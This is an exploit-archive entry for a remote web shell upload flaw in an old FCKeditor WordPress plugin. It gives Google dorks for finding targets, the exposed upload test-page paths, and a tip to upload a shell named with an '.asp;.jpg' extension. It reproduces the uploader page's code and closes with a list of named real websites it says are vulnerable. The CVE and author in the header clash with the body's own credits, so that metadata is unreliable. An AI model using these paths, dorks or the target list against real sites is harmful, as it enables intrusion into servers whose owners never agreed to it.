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CVE | Category | Price | Severity |
---|---|---|---|
CVE-2020-25213 | CWE-264 | Not specified | High |
Author | Risk | Exploitation Type | Date |
---|---|---|---|
Jinson Varghese Behanan | High | Remote | 2018-12-20 |
CVSS | EPSS | EPSSP |
---|---|---|
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 0.02192 | 0.50148 |
################################################################################################# # Exploit Title : WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Remote Shell Upload Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 20/12/2018 # Vendor Homepage : wordpress.org/support/plugin/fckeditor-for-wordpress-plugin # Software Download Link : github.com/kcloze/kcloze-blog/archive/master.zip + github.com/kcloze/kcloze-blog/tree/master/wp-content/plugins/fckeditor-for-wordpress-plugin # Tested On : Windows and Linux # Category : WebApps # Version Information : 2.0 ~ 2.2 ~ 2.6.2 ~ 2.8.4 ~ 3.3.1 # Exploit Risk : Medium # Google Dorks : inurl:''/wp-content/plugins/fckeditor-for-wordpress-plugin/'' + intext:''DESIGN BY PURR.'' + intext:''powered byWordPress. InBiz theme made it free by desain web. Hosting by rozhled.cz'' + intext:''Site entran par WordPress | Connexion | Flux (RSS) des articles | Thme Arthemia de Michael Jubel | Stats'' + intext:''designed by Portland Web Design'' + intext:'' 2009 websitemagix.com powered by fotomagix'' + intext:''powered by fotomagix'' + intext:''realizace webu: Pavel Gloss'' + intext:'' 2008 - 2018 Heather Richards Live | All Rights Reserved.'' + intext:''Powered by WordPress ( WordPress Deutschland ) - Handcoded by Tommaso Baldovino - German translation and modification by Schwarze Dame'' # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ] + CWE-434: Unrestricted Upload of File with Dangerous Type # Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~ ayarsecurity.com [ Friend ] ################################################################################################# # Exploit : /wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html /wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/test.html /wp-content/plugins/fckeditor-for-wordpress-plugin/fckeditor/editor/filemanager/browser/default/frmupload.html /wp-content/plugins/fckeditor-for-wordpress-plugin/fckeditor/editor/filemanager/browser/default/browser.html # Directory File Path : /wp-content/uploads/..... /wp-content/uploads/[YEAR]/[MONTH]/...... ################################################################################################# # Note : Select PHP extension and then Try to upload as .asp;.jpg filename shell extension. # Note : This plugin fckeditor-for-wordpress-plugin contains a very serious vulnerability that allowed hackers to gain full control modify, upload and execute files on any website running WordPress. With the plugin installed on a certain website, a hacker or malicious person can gain access to the web server via HTTP through a backdoor in the plugins directory. ################################################################################################# Vulnerable File Code => /uploadtest.html ************************************* <!-- * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * - Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * Test page for the "File Uploaders". --> <html> <head> <title>FCKeditor - Uploaders Tests</title> <script type="text/javascript"> function SendFile() { var sUploaderUrl = cmbUploaderUrl.value ; if ( sUploaderUrl.length == 0 ) sUploaderUrl = txtCustomUrl.value ; if ( sUploaderUrl.length == 0 ) { alert( 'Please provide your custom URL or select a default one' ) ; return ; } eURL.innerHTML = sUploaderUrl ; txtUrl.value = '' ; frmUpload.action = sUploaderUrl; if (document.getElementById('cmbType').value) { frmUpload.action = frmUpload.action + '?Type='+document.getElementById('cmbType').value; } frmUpload.submit() ; } function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg ) { switch ( errorNumber ) { case 0 :// No errors txtUrl.value = fileUrl ; alert( 'File uploaded with no errors' ) ; break ; case 1 :// Custom error alert( customMsg ) ; break ; case 10 :// Custom warning txtUrl.value = fileUrl ; alert( customMsg ) ; break ; case 201 : txtUrl.value = fileUrl ; alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ; break ; case 202 : alert( 'Invalid file' ) ; break ; case 203 : alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ; break ; default : alert( 'Error on file upload. Error number: ' + errorNumber ) ; break ; } } </script> </head> <body> <table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%"> <tr> <td> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td nowrap> Select the "File Uploader" to use:<br> <select id="cmbUploaderUrl"> <option selected value="asp/upload.asp">ASP</option> <option value="aspx/upload.aspx">ASP.Net</option> <option value="cfm/upload.cfm">ColdFusion</option> <option value="lasso/upload.lasso">Lasso</option> <option value="perl/upload.cgi">Perl</option> <option value="php/upload.php">PHP</option> <option value="py/upload.py">Python</option> <option value="">(Custom)</option> </select> </td> <td> Resource Type<br /> <select id="cmbType" name="cmbType"> <option value="">None</option> <option value="File">File</option> <option value="Image">Image</option> <option value="Flash">Flash</option> <option value="Media">Media</option> <option value="Invalid">Invalid Type (for testing)</option> </select> </td> <td nowrap> </td> <td width="100%"> Custom Uploader URL:<BR> <input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text"> </td> </tr> </table> <br> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td noWrap> <form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post"> Upload a new file:<br> <input type="file" name="NewFile"><br> <input type="button" value="Send it to the Server" onclick="SendFile();"> </form> </td> <td style="WIDTH: 16px"> </td> <td vAlign="top" width="100%"> Uploaded File URL:<br> <INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text"> </td> </tr> </table> <br> Post URL: <span id="eURL"> </span> </td> </tr> <tr> <td height="100%"> <iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe> </td> </tr> </table> </body> </html> ################################################################################################# # Example Vulnerable Sites => [+] steamykitchen.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] n-vac.co.jp/tool/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] senftenberg.cz/wordpress/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] ville-rochefortdugard.fr/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] jalak.eu/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] carolwhitemarketing.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] etkingrup.com.tr/haber/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] zohnertheater.ch/amberroad/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] gialongvn.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] websitemagix.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] taiyaki-ya.com/wp/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] locthanhphat.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] zko157.cz/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] duolongo.se/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] sof.vn/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] heatherrichardslive.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] textmah.com/sites/zane/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] nongngucolam.vn/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] drogy-sos.sk/photoland/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] kukk.de/affiliateblog/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] nttprov.go.id/penghubung/web/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################
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